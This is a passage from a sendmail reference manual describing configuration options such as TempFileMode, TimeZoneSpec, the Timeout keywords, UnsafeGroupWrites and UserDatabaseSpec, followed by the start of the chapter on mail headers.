The TempFileMode (F) option tells sendmail what mode (file permissions) to give its temporary files and its freeze file. [33] Because the files in the queue contain private email, this option is usually set to the least permissive level, 0600. On dedicated mail servers (hub machines), where logins are restricted to mail managers, you may wish to relax permissions for easier problem solving.

[33] V8 sendmail no longer supports freeze files.

The forms of the TempFileMode (F) option are as follows:

OFmode                                <-  configuration file (old mode)
-oFmode                               <-  command line (old mode)
O TempFileMode=mode                   <-  configuration file (beginning with V8.7)
-OTempFileMode=mode                   <-  command line (beginning with V8.7)
define(`confTEMP_FILE_MODE',mode)     <-  V8 m4 configuration

The mode is of type octal. If this option is entirely missing, the default permissions are 0644. Beware of omitting just the mode argument - if you do, the permissions become 0000, and sendmail may not be able to read or write its own files.

The TempFileMode (F) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.69 TimeZoneSpec (t)

Set time zone

(All versions)

Under System V UNIX, processes must look for the local time zone in the environment variable TZ. Because sendmail is often run as an SUID root program, it cannot (and should not) trust its environment variables. Consequently, on System V machines it is necessary to use the TimeZoneSpec (t) option to give sendmail the correct time zone information.

The forms for the TimeZoneSpec (t) option are as follows:

Otzone                             <-  configuration file (old mode)
-otzone                            <-  command line (old mode)
O TimeZoneSpec=zone                <-  configuration file (beginning with V8.7)
-OTimeZoneSpec=zone                <-  command line (beginning with V8.7)
define(`confTIME_ZONE',`zone')     <-  V8 m4 configuration

Here, the zone is of type string and is usually three arguments in one: [34] the local abbreviation for standard time, the number of hours the local time differs from GMT, and the local abbreviation for daylight savings time. For example, on the west coast of the United States, you might declare

[34] This is actually a convention that is not used by all versions of UNIX. Consult your online documentation to find the correct form for your system.

OtPST8PDT                               <-  pre-V8.7 form
O TimeZoneSpec=PST8PDT                  <-  beginning with V8.7

For pre-V8 sendmail on System V, if the zone argument is omitted or if this entire option is omitted, the default is the value compiled into your C language library (often the east coast of the United States, EST5EDT). For BSD the default is NULL.

Beginning with V8 sendmail, if the entire TimeZoneSpec (t) option is missing, the default is to unset the TZ environmental variable (use the system default). If zone is missing, the default is to import the TZ variable from the environment. If zone is present, time zone is set to that specified.

The system default varies depending on the operating system. For BSD UNIX it is the value returned by the gettimeofday(3) call. For SysV UNIX it is whatever was compiled into the C library (usually New Jersey time).

For the m4 declaration, zone should be either a literal USE_SYSTEM, which causes the entire option to be omitted, or a literal USE_TZ, which causes the option to be declared but the zone to be omitted (thus importing the TZ variable from the calling environment). Otherwise, a time zone declaration is as described above:

define(`confTIME_ZONE',`USE_SYSTEM')    <-  use system default
#O TimeZoneSpec=                        <-  the same

define(`confTIME_ZONE',`USE_TZ')        <-  use environment TZ
O TimeZoneSpec=                         <-  the same

define(`confTIME_ZONE',`EST5EDT')       <-  use EST5EDT
O TimeZoneSpec=EST5EDT                  <-  the same

The TimeZoneSpec (t) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.70 Timeout (r)

Set timeouts

(All versions)

Many events can take a long time to complete - so long, in fact, that they can cause sendmail to appear to hang if they don't time out. For example, when reading commands or data from a remote SMTP connection, the other side can be so slow that it becomes necessary for the local sendmail to time out and break the connection. Similarly, when reading from its standard input, sendmail may find that the program feeding it information is taking so long that a timeout becomes necessary.

The V8 version of the sendmail program has introduced defaults for the amount of time it waits under various circumstances. The forms of the Timeout (r) option are as follows:

Ortime                                            <-  configuration file (old form)
-ortime                                           <-  command line (old form)
Orkeyword=value,...                               <-  configuration file (V8.1)
-orkeyword=value,...                              <-  command line (V8.1)
O Timeout=keyword=value,...                       <-  configuration file (V8.7 and above)
-OTimeout=keyword=value,...                       <-  command line (V8.7 and above)
define(`confREAD_TIMEOUT',`keyword=value,...')    <-  V8 m4 configuration (not V8.7 up)

Prior to V8 sendmail, only a single time could be specified, which set the timeout for all SMTP transactions. Beginning with V8 sendmail, a list of keyword and value pairs can be specified that individually set a wide assortment of timeouts. The recognized keyword words are listed in Table 34.18. The default and minimum value for each in described in the individual section.

Table 34.18: Timeout Option Keywords
Keyword Meaning
command Section 34.8.70.1

Wait for the next command

connect Section 34.8.70.2

Wait for connect(2) to return

datablock Section 34.8.70.3

Wait for each DATA block read

datafinal Section 34.8.70.4

Wait for acknowledgment of final dot

datainit Section 34.8.70.5

Wait for DATA acknowledgment

fileopen Section 34.8.70.6

Wait an NFS file to open (V8.7 and above)

helo Section 34.8.70.7

Wait for HELO or EHLO

hoststatus Section 34.8.70.8

Duration of host status (V8.8 and above)

iconnect Section 34.8.70.9

Wait for first connect(2) (V8.8 and above)

ident Section 34.8.70.10

Wait for RFC1413 identification protocol

initial Section 34.8.70.11

Wait for initial greeting message

mail Section 34.8.70.12

Wait for MAIL acknowledgment

misc Section 34.8.70.13

Wait for other SMTP commands

queuereturn Section 34.8.70.14

Bounce if still undelivered (V8.7 and above)

queuewarn Section 34.8.70.15

Warn if still undelivered (V8.7 and above)

quit Section 34.8.70.16

Wait for QUIT acknowledgment

rcpt Section 34.8.70.17

Wait for RCPT acknowledgment

rset Section 34.8.70.18

Wait for RSET acknowledgment

The minimums are not enforced but are rather the minimums recommended by RFC1123, section 5.3.2. [35] The value is of type time. The default, if a unit character is omitted, is minutes. For the queuewarn and queuereturn keywords, however, the defaults are hours and days, respectively. Note that some of the default values may seem overly long. This is intentional because some events can legitimately take a very long time. Consider, for example, a misconfigured DNS server. If you time out too soon, your performance will actually decrease because the timeouts will cause retransmits.

[35] Note that the defaults are intentionally higher than the recommended minimums. Setting timeouts too low can cause mail to fail unnecessarily.

For the V8.7 and above m4 technique, each keyword is declared with its corresponding confTO_ expression. For example, the keyword initial is declared like this:

define(`confTO_INITIAL',`5m')                    <-  V8 m4 configuration

The particular confTO_ expression and its corresponding default value are listed with each keyword.

For compatibility with old configuration files, if no keyword= is specified, timeouts for the mail, rcpt, datainit, datablock, datafinal, and command keywords are set to the indicated value:

Or2h                <-  set them to two hours

An example of the r option with keyword= pairs looks like this:

Orrcpt=25m,datablock=3h

With the new V8.7 form of the Timeout option, individual timeouts can be listed more attractively like this:

O Timeout.rcpt      = 25m
O Timeout.datablock =  3h

For the above two examples the timeout for acknowledgment of the SMTP RCPT command (list a recipient) is 25 minutes and the timeout for acknowledgment of receipt of each line of the mail message is three hours; all the others that are not specified assume the default values.

The Timeout (r) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.70.1 Timeout.command

When local sendmail is running as an SMTP server, it acknowledges any SMTP command sent to it by the other host and then waits for the next command. The amount of time the local sendmail waits for each command is defined with the command keyword. The default is one hour, and the minimum is specified as five minutes. The m4 technique should use confTO_COMMAND for which not default is defined. If a command is not received in time, the local sendmail believes that the connection has hung and shuts it down.

34.8.70.2 Timeout.connect

When sendmail attempts to establish a network connection to another host, it uses the connect(2) system call. If the connection is going to fail, that system call will time out after an amount time that varies with the operating system. With Linux, for example, the timeout is 90 minutes, whereas for other versions of UNIX it is typically 5 minutes.

When the amount of time to wait for a connection to fail is of concern, you may override the system value with the connect keyword to the Timeout option: [36]

[36] Note that you can decrease the system defined timeout, but you cannot increase it.

O Timeout.connect=3m		           <-  V8.8 and above
define(`confTO_CONNECT', 3m)	           <-  V8 m4 technique

The default, if no timeout is specified, is to use the system imposed timeout. No default is defined for the m4 technique.

Note that if the connect(2) call times out, delivery will be deferred until the next queue run. If you wish the connect(2) to be tried again (as you might for a dial-on-demand machine), you should investigate the DialDelay option (see Section 34.8.17).

34.8.70.3 Timeout.datablock

The local sendmail then buffers the mail message and sends it to the receiving site one line at a time. The amount of time that the receiving sendmail waits for a read to complete is set with the datablock keyword. [37] The default value is one hour, and the specified minimum is three minutes. The m4 technique should use confTO_DATABLOCK, which has no default.

[37] The timeout for writes by the sending sendmail are timed out on the basis of the number of recipients.

34.8.70.4 Timeout.datafinal

After the entire mail message has been transmitted, the local sendmail sends a lone dot to say that it is done, then waits for the receiving sendmail to acknowledge acceptance of that dot:

250 Mail accepted

The amount of time that the local sendmail waits for acknowledgment that the mail message was received is set with the datafinal keyword. The default value is one hour, and the specified minimum is 10 minutes. The m4 technique should use confTO_DATAFINAL, which has no default. If the value is shorter than the time actually needed for the receiving site to deliver the message, the local sendmail times out before seeing the "Mail accepted" message when, in fact, the mail was accepted. This can lead to the local sendmail wrongly attempting to deliver the message later for a second time.

34.8.70.5 Timeout.datainit

After all the recipients have been specified, the local sendmail declares that it is ready to send the mail message itself. It issues the SMTP DATA command to the other site:

DATA

The local sendmail then waits for acknowledgment, which looks like this:

354 Enter mail, end with "." on a line by itself

The amount of time that the local sendmail waits for acknowledgment of its DATA command is set with the datainit keyword. The default value is five minutes, and the specified minimum is two minutes. The m4 technique should use confTO_DATAINIT, which has no default.

34.8.70.6 Timeout.fileopen

If a directory is remotely mounted and the server is down or not responding, an attempt to open a file in that directory can hang. Beginning with V8.7, the fileopen keyword sets the amount of time to wait for a remote open to complete. [38] The default is zero seconds, which sets no limit. The m4 technique should use confTO_FILEOPEN, which has no default.

[38] Note that this works only if the file system is mounted with the intr mount option.

34.8.70.7 Timeout.helo

After the greeting, the local sendmail sends a HELO (or EHLO to get ESMTP) message to identify itself. That message looks something like this:

HELO here.us.edu

The other site then replies with acknowledgment of the local HELO or EHLO:

250 there.dc.gov  Hello here.us.edu, pleased to meet you

The amount of time the local sendmail waits for the other site to acknowledge the local HELO or EHLO is set with the helo keyword. The default value is five minutes. There is no specified minimum, but we recommend no less than five minutes (because some sites use DNS to validate the hostname). The m4 technique should use confTO_HELO, which has no default.

34.8.70.8 Timeout.hoststatus

When processing the queue, sendmail saves the connection status of each host to which it connects and each host to which it fails to connect. It does this because an unsuccessful host should not be tried again during the same queue run. This makes sense when you consider that failures tend to remain failures for a while.

At sites that process huge queues, on the other hand, such behavior may not be appropriate. If it takes hours (rather than minutes) to process the queue, the likelihood increases that a previously failed connection may succeed. For such sites, V8.8 sendmail has introduced the Timeout.hoststatus option:

O Timeout.hoststatus=interval                  	  <-  V8.8 and above
-OTimeout.hoststatus=interval			  <-  V8.8 and above
define(`confTO_HOSTSTATUS', interval)		  <-  V8 m4 techniqueue

Here, interval is of type time. If interval is present, it specifies the length of time information about a host will be considered valid. If a queue run finishes faster than this interval, it has no effect. But when queue runs take longer than this interval, a previously down host will be given a second try if it appears in the queue again.

If interval is missing, it is interpreted as zero, and no host information is ever saved. If the entire option is missing, the default is 30 minutes. The m4 technique should use confTO_HOSTSTATUS, which has no default.

34.8.70.9 Timeout.iconnect

When sendmail attempts to establish a network connection to another host, it uses the connect(2) system call. If the connection is going to fail, that system call will time out after an amount of time that varies with the operating system. You can override the system timeout with the connect keyword (see Section 34.8.70.2) to the Timeout option.

When outgoing mail is first processed, mail to responsive hosts should precede mail to sluggish hosts. To understand why, consider that all mail is processed serially during each queue run. If a sluggish host precedes all the other hosts in the queue, those other hosts will not even be tried until the sluggish host finishes or times out. With this in mind, the very first time sendmail attempts to deliver a message, it should enforce a shorter connect(2) timeout than it should for latter attempts.

Beginning with V8.8 sendmail, you can set an initial connect(2) timeout with the iconnect keyword to the Timeout option:

O Timeout.iconnect=10s                <-  time out first connection
O Timeout.connect=3m                  <-  time out all others

define(`confTO_ICONNECT', `10s')      <-  v8 m4 technique

The default, if no Timeout.iconnect is specified or if the entire Timeout.iconnect option is omitted, is to time out the first connection the same as the timeout for all connections. The m4 technique should use confTO_ICONNECT, for which there is no default. The N line in the qf file (see Section 23.9.10) determines whether this is the first attempt or not. If the value in that line is zero, this is the first delivery attempt.

34.8.70.10 Timeout.ident

The sendmail daemon queries every outside connecting host with the RFC1413 identification protocol to record the identity of the user at the other end who made the connection and to verify the true name of the remote connecting host. The default timeout is to wait 30 seconds for a response. The ident keyword is used to change this timeout. If your site accepts mail from PCs running SMTP software, you may need to disable this feature. Some PCs get stuck when queried with the RFC1413 identification protocol. If the timeout is zero, the ident protocol is disabled. The m4 technique should use confTO_IDENT, for which there is no default.

34.8.70.11 Timeout.initial

The amount of time to wait for the initial greeting message. This message is printed by the remote site when it first makes its connection. The greeting message always starts with 220 and looks something like this:

220 there.dc.gov Sendmail 8.1/3x ready at ...

The default for the greeting wait and the recommended minimum are both five minutes. [39] The m4 technique should use confTO_INITIAL, for which there is no default.

[39] Because DNS name resolution can time out and retry and can actually take up to five minutes!

34.8.70.12 Timeout.mail

The local sendmail next sends the address of the sender (the envelope sender address) with an SMTP MAIL command:

MAIL From:<you@here.us.edu>

The local sendmail then waits for acknowledgment, which looks like this:

250 <you@here.us.edu>... Sender ok

The amount of time that the local sendmail waits for acknowledgment of its MAIL command is set with the mail keyword. The default value is 10 minutes, and the specified minimum is five minutes. The m4 technique should use confTO_MAIL, for which there is no default.

34.8.70.13 Timeout.misc

During the course of mail transfer, the local sendmail may issue short miscellaneous commands. Examples are NOOP (which stands for no operation) and VERB (which tells the other side to enter verbose mode). The time that the local sendmail waits for acknowledgment of these miscellaneous commands is defined with the misc keyword. The default is two minutes, and no minimum is specified. The m4 technique should use confTO_MISC, for which there is no default.

34.8.70.14 Timeout.queuereturn

That this keyword determines a mail message's lifetime in the queue. Beginning with V8.7, this queuereturn keyword is used to set the amount of time a message must wait in the queue before it is bounced as nondeliverable. Either it can be expressed as an interval of time:

O Timeout.queuereturn=5d
O Timeout.queuereturn.*=5d            <-  the same
define(`confTO_QUEUERETURN',`5d')     <-  V8 m4 technique

or it can be tuned on the basis of any of three possible levels of priority that a mail message may have. That is, both of the above set all three levels to five days, whereas the following tunes each level to three, five, and six days, respectively:

O Timeout.queuereturn.urgent=3d
O Timeout.queuereturn.normal=5d
O Timeout.queuereturn.non-urgent=6d
define(`confTO_QUEUERETURN_URGENT',`3d')         <-  V8 m4 technique
define(`confTO_QUEUERETURN_NORMAL',`5d')         <-  V8 m4 technique
define(`confTO_QUEUERETURN_NONURGENT',`6d')      <-  V8 m4 technique

The default for the m4 configuration technique is to bounce all messages that remain in the queue for more than four days.

The keywords urgent, normal, and non-urgent correspond to the Precedence: header from the mail message. When the numeric equivalent of the Precedence: header as translated from the P line of the configuration file (see Section 35.8) is negative, the message is classified as nonurgent. When it is greater than zero, the message is classified as urgent. Otherwise, it is normal.

In addition to a message's precedence, a new Priority: header is available (see Section 35.10.24, Priority:) to specify the message priority and thereby bypass the value obtained from the Precedence: header.

Priority: urgent
Priority: normal
Priority: non-urgent

There is currently no way to specify a Priority: header's value from the sendmail command line.

34.8.70.15 Timeout.queuewarn

When a message is queued, sendmail sends a message to the sender explaining that the original message could not be delivered right away and that sendmail will keep trying. Beginning with V8.7, this queuewarn keyword is used to set the amount of time a message must wait in the queue before that explanation is mailed. Either it can be expressed as an interval of time:

O Timeout.queuewarn=4d
O Timeout.queuewarn.*=4d            <-  the same
define(`confTO_QUEUEWARN',`4d')     <-  V8 m4 technique

or it can be tuned on the basis of any of three possible levels of priority a mail message may have. That is, both of the above set all three levels to four days, whereas the following tunes each level to one, two, and four days, respectively:

O Timeout.queuewarn.urgent=1d
O Timeout.queuewarn.normal=2d
O Timeout.queuewarn.non-urgent=4d
define(`confTO_QUEUEWARN_URGENT',`1d')         <-  V8 m4 technique
define(`confTO_QUEUEWARN_NORMAL',`2d')         <-  V8 m4 technique
define(`confTO_QUEUEWARN_NONURGENT',`4d')      <-  V8 m4 technique

The defaults for the m4 configuration technique are to send a warning for normal mail after four hours, for urgent mail after one hour, and for nonurgent mail after twelve hours.

The keywords urgent, normal, and non-urgent correspond to the Precedence: header from the mail message. When the numeric equivalent of the Precedence: header as translated from the P line of the configuration file (see Section 35.8) is negative, the message is classified as nonurgent. When it is greater than zero, the message is classified as urgent. Otherwise, it is normal.

In addition to a message's precedence, a new Priority: header is available (see Section 35.10.24) to specify the message priority and thereby bypass the value obtained from the Precedence: header:

Priority: urgent
Priority: normal
Priority: non-urgent

There is currently no way to specify a Priority: header's value from the sendmail command line.

34.8.70.16 Timeout.quit

When the local sendmail is finished and wishes to break the connection, it sends the SMTP QUIT command.

QUIT

The other side acknowledges, and the connection is terminated:

221 there.dc.gov delivering mail

The time the local sendmail waits for acknowledgment of the QUIT command is defined with the quit keyword. The default is two minutes, and no minimum is specified. The m4 technique should use confTO_QUIT, for which there is no default.

34.8.70.17 Timeout.rcpt

Next, the local sendmail issues one RCPT command to specify each envelope recipient. One such RCPT line might look like this:

RCPT To:<them@there.dc.gov>

The local sendmail then waits for acknowledgment, which looks like this:

250 <them@there.dc.gov>... Recipient ok

The amount of time that the local sendmail waits for acknowledgment of each RCPT command is set with the rcpt keyword. The default value is one hour, [40] and the specified minimum is five minutes. The m4 technique should use confTO_RCPT, for which there is no default.

[40] This timeout should be generously long because a recipient may be the name of a mailing list and the other side may take a long time to expand all the names in that list before replying.

34.8.70.18 Timeout.rset

If connection caching is enabled (see option k), the local sendmail sends an SMTP RSET command to reset the other side. The time the local sendmail waits for acknowledgment of the RSET command is defined with the rset keyword. The default is five minutes, and no minimum is specified. The m4 technique should use confTO_RSET, for which there is no default.

34.8.71 TryNullMXList (w)

Use A if no best MX record

(V8.1 and above)

RFC974 says that when mail is being sent from a host that is an MX record for the receiving host, all MX records of a preference equal to or greater than the sending host must be discarded. In some circumstances this can leave no usable MX records. In this absence, V8 sendmail bases its action on the setting of its TryNullMXList (w) option.

The forms of the TryNullMXList (w) option are as follows:

Owbool                                  <-  configuration file (V8.6)
-owbool                                 <-  command line (V8.6)
O TryNullMXList=bool                    <-  configuration file (beginning with V8.7)
-OTryNullMXList=bool                    <-  command line (beginning with V8.7)
define(`confTRY_NULL_MX_LIST',bool)     <-  V8 m4 configuration

The bool is of type Boolean. If it is false, sendmail bounces the mail message with the following error message:

MX list for otherhost points back to thishost

If it is true, sendmail looks to see whether the receiving host has an A record. If it does, V8 sendmail tries to deliver the mail message directly to that host's A record address. If the host doesn't have an A record, sendmail bounces the message. See Section 21.3.7, "Ambiguous MX Records" in Chapter 21, DNS and sendmail, for a full discussion of why one setting may be preferable over the other. The default with the V8 m4 configuration technique is false.

The TryNullMXList (w) option is not safe as of V8.8.4. If it is specified from the command line, may cause sendmail to relinquish its root privilege.

34.8.72 UnixFromLine or $l

Define the From format

(All versions)

The UnixFromLine option replaces the pre-V8.7 $l macro. It has two functions:

  • It defines the look of the five character "From " header line needed by UUCP software.

  • It defines the format of the line that is used to separate one message from another in a file of many mail messages.

The forms of the UnixFromLine option and $l macro are as follows:

Dlformat                             <-  configuration file (V8.6 and earlier)
O UnixFromLine=format                <-  configuration file (beginning with V8.7)
-OUnixFromLine=format                <-  command line (beginning with V8.7)
define(`confFROM_LINE',`format')     <-  V8 m4 configuration

The format is of type string. Under versions V8.6 and earlier there was no default for format. So the $l macro always had to be defined. Beginning with V8.7, sendmail first checks to see if the UnixFromLine option was defined and uses that value if it was. Otherwise, it checks to see whether the level of the configuration file is 6 or less. If it is and if the $l macro was defined, it uses that value. Otherwise, it uses the default

From $g  $d

The UnixFromLine option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.72.1 UnixFromLine in UUCP software

UUCP software requires all messages to begin with a header line that looks like

From sender  date remote from <host>

The sendmail program prepends such a line to a mail message's headers if the F=U flag (see Section 30.8.42, F=U) is set for the delivery agent. [41] Prior to V8.7, if the local machine supports UUCP, the l macro must be supplied with "From ", sender, and date:

[41] Prior to V8.7 this behavior was supported only if UGLYUUCP was defined in conf.h when sendmail was compiled.

DlFrom $g $d

The rest of the information is supplied by sendmail.

34.8.72.2 UnixFromLine with mail files

Under UNIX, in a file of many mail messages such as a user's mailbox, lines that begin with the five characters "From " are used to separate one message from another. This is a convention that is not shared by all MUAs. The sendmail program appends mail messages to files under only two circumstances: when saving failed mail to the user's dead-letter file and when delivering to a local address that begins with the / character. In appending messages to files, it uses the UnixFromLine ($l) option to define the form of the message separator lines.

For sites that use the Rand MUA (and that do not also use UUCP) the UnixFromLine ($l) option can be defined to be four CTRL-A characters:

Dl^A^A^A^A
O UnixFromLine=^A^A^A^A

34.8.73 UnsafeGroupWrites

Check unsafe group permissions

(V8.8 and above)

In processing a ~/.forward file or a :include: file, a question arises when group or world write permission is enabled. Should sendmail trust the addresses found in such files? Clearly the answer is "no" when world write permission is enabled. But what of group write permission?

Beginning with V8.8 sendmail, the decision of whether or not to trust group write permission is left to the UnsafeGroupWrites option:

O UnsafeGroupWrites=bool                   <-  configuration file (beginning with V8.8)
-OUnsafeGroupWrites=bool                   <-  command line (beginning with V8.8)
define(`confUNSAFE_GROUP_WRITES',bool)     <-  V8 m4 configuration

The optional argument bool, when missing, defaults to true (check for unsafe group write permission). If this option is entirely missing, it defaults to false (don't check for unsafe group write permission).

With this option set to true, a ~/.forward file or a :include: file with group or world writability will result in one of these four errors being logged:

filename: group writable forward file, marked unsafe
filename: world writable forward file, marked unsafe
filename: group writable include file, marked unsafe
filename: world writable include file, marked unsafe

Any address in the file that is a file or a program will result in a bounce and this message:

Address address is unsafe for mailing to programs
Address address is unsafe for mailing to files

The UnsafeGroupWrites option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.74 UseErrorsTo (l)

Use Errors-To: for errors

(V8.1 and above)

Ordinarily, V8 sendmail sends notification of failed mail to the envelope sender. It specifically does not send notification to the addresses listed in the Errors-To: header. It does this because the Errors-To: header violates RFC1123. For additional information about the Errors-To: header, see Section 35.10.13, Errors-To:.

The UseErrorsTo (l) option is available to prevent older versions of software from failing. When set, it allows error notification to be sent to the address listed in the Errors-To: header in addition to that sent to the envelope sender.

The forms of the UseErrorsTo (l) option are as follows:

Olbool                               <-  configuration file (old form)
-olbool                              <-  command line (old form)
O UseErrorsTo=bool                   <-  configuration file (beginning with V8.7)
-OUseErrorsTo=bool                   <-  command line (beginning with V8.7)
define(`confUSE_ERRORS_TO',bool)     <-  V8 m4 configuration

The optional argument bool, when missing, defaults to true (errors are sent to the Errors-To: header). If this option is entirely missing, it defaults to false (the Errors-To: header is ignored).

The UseErrorsTo (l) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.75 UserDatabaseSpec (U)

Specify user database

(V8.1 and above)

V8 sendmail, if compiled with USERDB defined (see Section 18.8.54, USERDB), can use a special, internally understood database called the User Database. Addresses that are defined in the User Database can be looked up and modified after aliasing and before processing of the user's ~/.forward file.

The workings of this database are described in Section 33.5, "The User Database". The UserDatabaseSpec (U) option defines the name and location of the file containing this User Database information.

The forms of the UserDatabaseSpec (U) option are as follows:

OUpath,...                               <-  configuration file (V8.6)
-oUpath,...                              <-  command line (V8.6)
O UserDatabaseSpec=path,...              <-  configuration file (V8.7)

-OUserDatabaseSpec=path,...              <-  command line (V8.7)
define(`confUSERDB_SPEC',`path,...')     <-  V8 m4 configuration

The argument path,... is of type string and is a comma- or space-separated list of elements. Those elements can be database pathnames or other information as described below. If path,... is missing or if the entire option is missing, the user database is not used. Otherwise, the user database is used, and each database is accessed in turn, leftmost to rightmost, in the list of paths. There is no default for the V8 m4 technique.

The elements of path,... can either be pathnames of files or other methods of lookup depending on the first character of each:

/

A lead slash causes the element to be interpreted as a pathname; for example, /etc/userdb.

@

A leading @ causes a copy of the message for each user to be forwarded to a specified host. The assumption is that the other host is in a better position to perform user database lookups. Such a declaration looks like @dbhost.our.domain. Note that this form of declaration must be last in the list that constitutes path,... because it always succeeds.

h

Beginning with V8.7, a leading h or H causes sendmail to perform a case-insensitive comparison of the path to the string "hesiod." If they match, user database inquiries are looked up via Hesiod services.

For example, the following declares two user databases. The first that is used up will be /etc/userdb. If the entry is not found in that database, it will be forwarded to the host mail.here.us for handling there:

O UserDatabaseSpec=/etc/userdb,@mail.here.us

Any leading character other than those shown above causes an error message to be printed and that particular path,... element to be ignored.

Unknown UDB spec badpath

Note that future releases of sendmail may include additional subfields for each path. These will look like :opt=value. Consequently, the path that you specify should not include the colon character.

If UDB_DEFAULT_SPEC is defined in Makefile when sendmail is compiled (see Section 18.8.53, UDB-DEFAULT-SPEC), that value becomes the default if the UserDatabaseSpec (U) option is missing. If UDB_DEFAULT_SPEC is undefined, the default becomes NULL and no User Database lookups are performed.

The UserDatabaseSpec (U) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.76 Verbose

Run in verbose mode

(v)

The sendmail program offers a verbose mode of operation. In this "blow-by-blow" mode a description of all the sendmail program's actions is printed to the standard output. This mode is valuable in running sendmail interactively but useless in running in daemon mode. Consequently, you should never set this option in the sendmail.cf file. Instead, you should set it from the command line using the -v command-line switch.

After the sendmail.cf file is parsed and the command-line arguments have been processed, sendmail checks to see whether it is in verbose mode. If it is, it sets the HoldExpensive (c) option (don't connect to expensive mailers; see Section 34.8.29) to false and sets the DeliveryMode (d) option (see Section 34.8.16) to interactive.

The forms of the Verbose (v) option are as follows:

Ovbool              <-  configuration file (old form)
-ovbool             <-  command line (old form)
-v                  <-  command-line shorthand
O Verbose=bool      <-  configuration file (beginning with V8.7)
-OVerbose=bool      <-  command line (beginning with V8.7)

The argument bool is of type Boolean. If it is missing, the default value is true (be verbose). If the entire option is missing, the default value is false (be quiet).

The Verbose (v) option is safe. When it is specified from the command line, sendmail retains its root privilege. Note that the Verbose (v) option should never be set in the configuration file.

34.8.77 (M)

Define a macro

(Obsolete as of V8.7)

The M option is used to set or change a defined macro's value. Although this option is allowed in the sendmail.cf file, it is exclusively intended for use from the command line. Macros that are defined in the command line will not override the values of those same macros defined in the configuration file.

The forms of the M option are as follows:

OMXvalue      <-  configuration file
-oMXvalue     <-  command line (old obsolete form)
-MXvalue      <-  command line (beginning with V8.7)
DXvalue       <-  both are equivalent of this in the configuration and m4 files

In all four cases the argument value is of type string. The value is assigned to the macro named X. Pre-V8.7 macro names are always a single character. Multicharacter macro names that are available with V8.7 are described in Chapter 31, Defined Macros.

One example of the usefulness of this option concerns the rmail(8) program. Suppose a machine is used for networked mail. Ordinarily, the r macro is given the value "smtp" to signify that mail is received over the network. But for UUCP mail the r macro should be given the value "UUCP." One way to effect such a change is to arrange for rmail(8) to invoke sendmail with a command-line argument of

-oMrUUCP

In this command line, the -o switch tells sendmail to define a macro (the M) whose name is r to have the text UUCP as its new value. [42] This new value overrides whatever value r may have been given in the configuration file. The M option should be approached with caution. If you later upgrade your sendmail program and install a new configuration file, you may find that the names of macros aren't what you expect. Previous command-line assumptions about macro names may suddenly break.

[42] Under V8 sendmail the $s and $r macros should be assigned values with -p command-line switch (see Section 36.7.32, -p in Chapter 36). Also note that -oM has been deprecated in favor of the new -M switch.

The M option is safe only in assigning values to the r and s macros. For all other macros it is unsafe and, if specified from the command line, may cause sendmail to relinquish its root privilege. Pre-V8 SunOS sendmail was an exception in that it considered this option safe for all macros. Note that the M option should never be used in the configuration file.

Previous: 34.7 Pitfalls | sendmail | Next: 35. Headers
34.7 Pitfalls | Book Index | 35. Headers


[Chapter 35] Headers

sendmailSearch this book
Previous: 34.8 Alphabetized Reference Chapter 35 Next: 35.2 Header Names

35. Headers

Contents:
The H Configuration Command
Header Names
Header Field Contents
?flags? in Header Definitions
Header Behavior in conf.c
Headers by Category
Forwarding with Resent-Headers
Precedence
Pitfalls
Alphabetized Reference

All mail messages are composed of two distinct parts: the header (containing information such as who the message is from) and the body (the actual text of the message). The two parts are separated from each other by a single blank line (although there are exceptions, which we will cover). The header part used by sendmail is mainly defined by RFC822 with some minor clarification contained in RFC1123. These two documents detail the required syntax and contents of most header lines in mail messages. Many other RFCs define other headers, but in this chapter we will discuss header lines as they relate specifically to sendmail, referencing other RFCs as necessary.

When sendmail receives a mail message, it gathers all the header lines from that message and saves them internally. Then, during queueing and delivery, it recreates them and augments them with any new ones that may be required either by the configuration file or by sendmail's internal logic.

35.1 The H Configuration Command

The H header configuration file command tells sendmail which headers are required for inclusion in the header portion of mail messages. Some headers, such as Date:, are added only if one is not already present. Others, such as Received: (see Section 35.10.25, Received:) are added even if one or more are already present.

The form for the header command is:

H?flags?name:field

The H must begin the line. The optional ?flags? (the question marks are literal), if present, must immediately follow the H with no intervening space. We will discuss header ?flags? after the name and field are explained.

The name is the name of the header, such as From. The name must immediately follow the ?flags?, if present, or the H if there are no flags.

A colon then follows, which may be surrounded by optional space characters. The field is last and constitutes everything from the first nonspace character following the colon to the end of the line:

Hname   :   field

            from here to end of line is the field

The colon must be present. If it is absent, sendmail prints the following error message and ignores that H command:

header syntax error, line "offending H command here"

The "offending H command here" is the full text of the H command in the configuration file that caused the error.

As with all configuration commands, a line that begins with a space or a tab is joined to the line above. In this way, header commands can be split over one or more lines:

HReceived: $?sfrom $s $.by $j ($v/$V)
      id $i; $b

  tab

When these two lines are read from the configuration file by sendmail, they are internally joined to form the single line:

HReceived: $?sfrom $s $.by $j ($v/$V)\n      id $i; $b

                                          tab

The \n above illustrates that when lines are joined, the newline and tab character are retained. This results in the header looking the same as it did in the configuration file (minus the leading H) when it is later emitted by sendmail.

Previous: 34.8 Alphabetized Reference | sendmail | Next: 35.2 Header Names
34.8 Alphabetized Reference | Book Index | 35.2 Header Names


[Chapter 35] 35.2 Header Names

sendmailSearch this book
Previous: 35.1 The H Configuration Command Chapter 35
Headers 		Next: 35.3 Header Field Contents

35.2 Header Names

The name portion of the H configuration command must be one of the names shown below. Other names do not produce an error but may confuse other programs that need to process those illegal names. Names marked with an asterisk are defined by RFC822.

apparently-to | full-name | reply-to* | return-receipt-to
bcc* | in-reply-to* | resent-bcc* | sender*
cc* | keywords* | resent-cc* | subject*
comments* | mail-from | resent-date* | text*
content-length | message* | resent-from* | to*
content-type | message-id* | resent-message-id* | via
date* | posted-date | resent-reply-to* | x400-received
encrypted* | precedence | resent-sender* |
errors-to | received* | resent-to* |
from* | references* | return-path* |

These are discussed individually in Section 35.10, "Alphabetized Reference" at the end of this chapter.

The RFC822 standard allows a special form to be used for creating custom header names. All mail programs, including sendmail, are required to accept and pass through as is any header name that begins with the special characters x-. The following header definition, for example, can be used to introduce information that your site is running an experimental version of sendmail:

